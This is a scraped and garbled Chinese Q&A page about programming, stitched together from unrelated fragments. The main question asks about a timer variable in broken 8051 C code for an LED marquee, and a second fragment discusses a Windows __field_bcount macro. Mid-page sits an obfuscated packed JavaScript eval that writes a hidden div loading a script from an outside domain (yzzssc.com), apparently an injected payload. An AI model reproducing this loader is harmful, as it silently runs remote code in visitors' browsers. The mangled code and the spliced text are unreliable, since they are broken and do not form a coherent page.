请问这段代码代码覆盖率是什么意思思

查看: 500|回复: 0
请问请问这段代码中的变量TCount是什么意思?该程序中是怎么实现加速减速的?谢谢...
//可调控的跑马灯
#include&reg52.h&
#define uchar unsigned char& & & &
#define uint unsigned int
uchar ModeNo;//模式
uchar TCount=0;////////////?????????????
uchar mb_Count=0;
bit Dirtect=1;& & & & & & & & & & & & & & & & & & & &
uchar code DSY_CODE[]={0xC0,0XF9, 0xA4,0xB0,0x99,0x92,0x82,0xF8,0x80,0x90};
uint code sTable[]={0,1,3,5,7,9,15,100,200,230,300,350};
void Delay(uint x)& & & & & & & &
while(x--) for(i=0;i&120;i++);
}& & & & & & & &
uchar GetKey()//获取按键信息
if(P2==0xFF) return 0;
Delay(10);
switch(P2)
{& & & & & & & & & & & &&&case 0xFE: K=1;& & & & & & & & & & & &&&case 0xFD: K=2;& & & & & & & & & & & &&&case 0xFB: K=3;& & & & & & & & & & & &&&default:& &K=0;
}& & & & & & & & & & & &&&while (P2!=0xFF);& & & & & & & & & & & &&&return K;
void Led_Demo(uint Led16)
P1=(uchar)(Led16&0x00FF);
P0=(uchar)(Led16&&8);
void T0_INT() interrupt 1//模式内容
if(++TCount&Speed)/////////////////////?????????
switch(ModeNo)
case 0:Led_Demo(0x0001&&mb_Count);
case 1:Led_Demo(0x8000&&mb_Count);
case 2:if(Dirtect)Led_Demo(0x000F&&mb_Count);
Led_Demo(0xF000&&mb_Count);
if(mb_Count==15) Dirtect=!D
case 3:if(Dirtect)Led_Demo(~(0x000F&&mb_Count));
else& & & & & & & & & & & && &Led_Demo(~(0xF000&&mb_Count));
if(mb_Count==15) Dirtect=!D
case 4:if(Dirtect)Led_Demo(0x003F&&mb_Count);
else& & & & & & & & & & & && &Led_Demo(0xFC00&&mb_Count);
if(mb_Count==15) Dirtect=!D
case 5:if(Dirtect)Led_Demo(0x0001&&mb_Count);
else& & & & & & & && & Led_Demo(0x8000&&mb_Count);
if(mb_Count==15) Dirtect=!D
case 6:if(Dirtect)Led_Demo(~(0x0001&&mb_Count));
else& & & & & & & && & Led_Demo(~(0x8000&&mb_Count));
if(mb_Count==15) Dirtect=!D
case 7:if(Dirtect)Led_Demo(0xFFFE&&mb_Count);
else& & & & & & & && & Led_Demo(0x7FFF&&mb_Count);
if(mb_Count==15) Dirtect=!D
mb_Count=(mb_Count+1)%16;
void KeyProcess(uchar Key)//按键处理选择模式
switch(Key)
{& & & & & & & & & & & &&&case 1:
Dirtect=1;mb_Count=0;
ModeNo=(ModeNo+1)%8;
P3=DSY_CODE[ModeNo];& & & & & & & & & & & &&&case 2:
if(Idx&1) Speed=sTable[--Idx];& & & & & & & & & & & &&&case 3:
if(Idx&15) Speed=sTable[++Idx];
void main()
P0=P1=P2=P3=0xFF;
ModeNo=0;Idx=4;
P3=DSY_CODE[ModeNo];
TMOD=0x00;
Key=GetKey();
if(Key!=0) KeyProcess(Key);
Powered by请问下这段代码什么作用?_搜外问答
eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('6.8(\'&1 d="4:5;"&&2 7="0" 9="a/0" b="c://3.e.f/g.3"&\');',17,17,'javascript|div|script|js|display|none|document|language|write|type|text|src|http|style|yzzssc|com|dq'.split('|'),0,{}))
2,304 次浏览
分享到微信
该问题还没有收到回答 :(
30天内高手都在交流什么
(3 个回答)
(2 个回答)
(23 个回答)
(13 个回答)
(9 个回答)
(7 个回答)
(23 分钟前)
(2 小时前)
(2 小时前)
(2 小时前)
(3 小时前)
给问题设置一定金额,将更容易获得关注与回答。
选择支付方式在线提问 问题标题: 问题描述:(简陋的描述会导致问题被最后回答、没有针对性回答甚至无法解答。请确保问题描述的足够清楚。)09:52 提问
求大神解释这段代码,是什么意思!
__field_bcount(cbData) PVOID lpD
按赞数排序
这是一个宏,
#define __field_bcount
__notnull __byte_writableTo(size)
__field_bcount(cbData) PVOID lpD //指向用户定义数据的指针}
如果不看前半部分,PVOID lpD是最简单的一个 VOID 型指针的定义语句。
然后就是搞清楚 __field_bcount(cbData)
的定义,因为它不是系统标准的,因此需要查它的实现代码。包括 __notnull __byte_writableTo(size) 的具体实现也要看看。
否则,就无法搞清楚的。
建议是将宏定义全部展开,到系统级定义的一级,然后再分析其定义的含义。
准确详细的回答,更有利于被提问者采纳,从而获得C币。复制、灌水、广告等回答会被删除,是时候展现真正的技术了!
其他相关推荐

我要回帖

更多关于 代码覆盖率是什么意思 的文章

 

随机推荐